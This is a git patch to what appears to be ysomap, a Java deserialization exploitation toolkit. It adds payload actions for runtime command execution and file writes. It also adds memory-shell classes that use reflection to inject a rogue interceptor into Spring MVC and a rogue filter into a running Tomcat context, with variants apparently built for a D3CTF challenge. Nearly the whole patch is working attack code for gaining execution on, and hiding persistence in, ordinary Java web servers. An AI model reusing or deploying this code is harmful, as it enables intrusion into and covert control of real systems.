From 4f333a6d92f33f88e79515a1514631270e2431e3 Mon Sep 17 00:00:00 2001 From: wh1t3p1g Date: Sat, 14 Oct 2023 22:39:43 +0800 Subject: [PATCH] update --- .../objects/ClassWithExistEviClass.java | 26 ++- .../main/java/msshell/SpringInterceptor.java | 58 +++++++ .../src/main/java/msshell/TomcatFilter.java | 153 ++++++++++++++++++ 3 files changed, 235 insertions(+), 2 deletions(-) create mode 100644 thirdparty/src/main/java/msshell/SpringInterceptor.java create mode 100644 thirdparty/src/main/java/msshell/TomcatFilter.java diff --git a/core/src/main/java/ysomap/bullets/objects/ClassWithExistEviClass.java b/core/src/main/java/ysomap/bullets/objects/ClassWithExistEviClass.java index c7369f1..abf9828 100644 --- a/core/src/main/java/ysomap/bullets/objects/ClassWithExistEviClass.java +++ b/core/src/main/java/ysomap/bullets/objects/ClassWithExistEviClass.java @@ -5,9 +5,14 @@ import javassist.ClassPool; import javassist.CtClass; import loader.*; +import msshell.SpringInterceptor; +import msshell.TomcatFilter; +import msshell.TomcatFilterForD3ctf1; +import msshell.TomcatFilterForD3ctf2; import ysomap.bullets.AbstractBullet; import ysomap.bullets.jdk.TemplatesImplBullet; import ysomap.common.annotation.*; +import ysomap.common.util.Logger; import ysomap.common.util.Strings; import ysomap.core.util.ClassFiles; import ysomap.core.util.FileHelper; @@ -67,6 +72,7 @@ public byte[] getObject() throws Exception { Class effectClazz = (Class) objs[0]; if(classname == null){ classname = effectClazz.getSimpleName() + System.currentTimeMillis(); + Logger.success("Generate class for name: "+classname); } code = process((String) objs[1], (String) objs[2], exception, body); cc = ClassFiles.makeClassFromExistClass(pool, effectClazz, null); @@ -106,12 +112,15 @@ public Object doAction(String action, String exception, Object data) throws IOEx return Arrays.toString((byte[]) data) .replace("[", "") .replace("]", ""); - }else if("wrap".equals(action) && data instanceof String){ + }else if("exec".equals(action) && data instanceof String){ if("false".equals(exception)){ return PayloadHelper.makeRuntimeExecPayload((String) data); }else{ return PayloadHelper.makeExceptionPayload((String) data); } + }else if("fileWrite".equals(action) && data instanceof String[]){ + String[] args = (String[]) data; + return PayloadHelper.makeFileWritePayload(args[0], args[1]); } return data; } @@ -139,7 +148,8 @@ private String process(String formater, String action, String exception, String static { effects = new HashMap<>(); - effects.put("default", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "wrap"}); + effects.put("default", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "exec"}); + effects.put("FileWrite", new Object[]{TemplatesImplBullet.StubTransletPayload.class, "%s", "base64;fileWrite"}); effects.put("TomcatEcho", new Object[]{TomcatEchoPayload.class, null, null}); effects.put("SocketEcho", new Object[]{SocketEchoPayload.class, @@ -164,6 +174,18 @@ private String process(String formater, String action, String exception, String effects.put("CustomizableClassLoader", new Object[]{CustomizableClassLoader.class, "classBae64Str = \"%s\";", "read;gzip;base64"}); + effects.put("SpringInterceptor", + new Object[]{SpringInterceptor.class, null, null}); + effects.put("TomcatFilter", + new Object[]{TomcatFilter.class, + "uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data + effects.put("TomcatFilterForD3ctf1", + new Object[]{TomcatFilterForD3ctf1.class, + "uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data + effects.put("TomcatFilterForD3ctf2", + new Object[]{TomcatFilterForD3ctf2.class, + "uri = \"%s\";\nfilterName = \"%s\";\ndata = \"%s\";", "split"}); // uri;DefaultFilter;data + } } diff --git a/thirdparty/src/main/java/msshell/SpringInterceptor.java b/thirdparty/src/main/java/msshell/SpringInterceptor.java new file mode 100644 index 0000000..a87e241 --- /dev/null +++ b/thirdparty/src/main/java/msshell/SpringInterceptor.java @@ -0,0 +1,58 @@ +package msshell; + +import org.springframework.beans.BeansException; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; + +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Method; + +/** + * @author wh1t3p1g + * @since 2023/3/26 + */ +public class SpringInterceptor extends HandlerInterceptorAdapter { + + static { + try { + Class RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); + + Method getWebApplicationContext; + try { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); + } catch (NoSuchMethodException e) { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); + } + getWebApplicationContext.setAccessible(true); + + WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + //从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping + org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; + try { + Class RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); + } catch (BeansException e) { + Class DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); + } + + java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); + + //添加SpringInterceptorTemplate类到adaptedInterceptors + adaptedInterceptors.add(new SpringInterceptor()); + } catch (Exception ignored) { + } + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + return true; + } +} diff --git a/thirdparty/src/main/java/msshell/TomcatFilter.java b/thirdparty/src/main/java/msshell/TomcatFilter.java new file mode 100644 index 0000000..c876613 --- /dev/null +++ b/thirdparty/src/main/java/msshell/TomcatFilter.java @@ -0,0 +1,153 @@ +package msshell; + + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; + +import javax.servlet.*; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author wh1t3p1g + * @since 2023/3/1 + */ +public class TomcatFilter implements Filter { + + private static String uri; + private static String filterName = "DefaultFilter"; + + private static String data = "test"; + public TomcatFilter(String uri){ + } + + public TomcatFilter() { + try{ + System.out.println("try to inject"); + ThreadLocal threadLocal = init(); + + if (threadLocal != null && threadLocal.get() != null) { + System.out.println("try to inject to request"); + javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) threadLocal.get(); + javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); + + ApplicationContext applicationContext = (ApplicationContext) getFieldObject(servletContext, servletContext.getClass(), "context"); + + StandardContext standardContext = (StandardContext) getFieldObject(applicationContext, applicationContext.getClass(), "context"); + Map filterConfigs = (Map) getFieldObject(standardContext, standardContext.getClass(), "filterConfigs"); + + if(filterConfigs.get(filterName) != null){ + filterConfigs.remove(filterName); // 重新注册 + } + + TomcatFilter filter = new TomcatFilter(uri); + + FilterDef filterDef = new FilterDef(); + filterDef.setFilterName(filterName); + filterDef.setFilterClass(filter.getClass().getName()); + filterDef.setFilter(filter); + standardContext.addFilterDef(filterDef); + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(uri); + filterMap.setFilterName(filterName); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(filterName, filterConfig); + System.out.println("inject success"); + } + + }catch (Exception e){ + + } + } + + public ThreadLocal init() throws Exception{ + Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); + Field WRAP_SAME_OBJECT = getField(applicationDispatcher, "WRAP_SAME_OBJECT"); + Field modifiersField = getField(WRAP_SAME_OBJECT.getClass(), "modifiers"); + modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + if (!WRAP_SAME_OBJECT.getBoolean(null)) { + WRAP_SAME_OBJECT.setBoolean(null, true); + } + + //初始化 lastServicedRequest + Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); + Field lastServicedRequest = getField(applicationFilterChain,"lastServicedRequest"); + modifiersField = getField(lastServicedRequest.getClass(),"modifiers"); + modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + + if (lastServicedRequest.get(null) == null) { + lastServicedRequest.set(null, new ThreadLocal<>()); + } + + //初始化 lastServicedResponse + Field lastServicedResponse = getField(applicationFilterChain,"lastServicedResponse"); + modifiersField = getField(lastServicedResponse.getClass(),"modifiers"); + modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); + + if (lastServicedResponse.get(null) == null) { + lastServicedResponse.set(null, new ThreadLocal<>()); + } + + return (ThreadLocal) getFieldObject(null, applicationFilterChain,"lastServicedRequest"); + } + + public static Object getFieldObject(Object obj, Class cls, String fieldName){ + Field field = getField(cls, fieldName); + try { + return field.get(obj); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + return null; + } + + public static Field getField(Class cls, String fieldName){ + Field field = null; + try { + field = cls.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (cls.getSuperclass() != null) + field = getField(cls.getSuperclass(), fieldName); + } + return field; + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + // TODO change + HttpServletResponse resp = (HttpServletResponse) response; +// String flag = new String(Files.readAllBytes(Paths.get("/flag"))); + String retData = "{" + + "\"message\": \""+data+"\"," + + "\"code\": \"200\"" + + "}"; + resp.getWriter().write(retData); +// chain.doFilter(request, response); + } + + @Override + public void destroy() { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + +}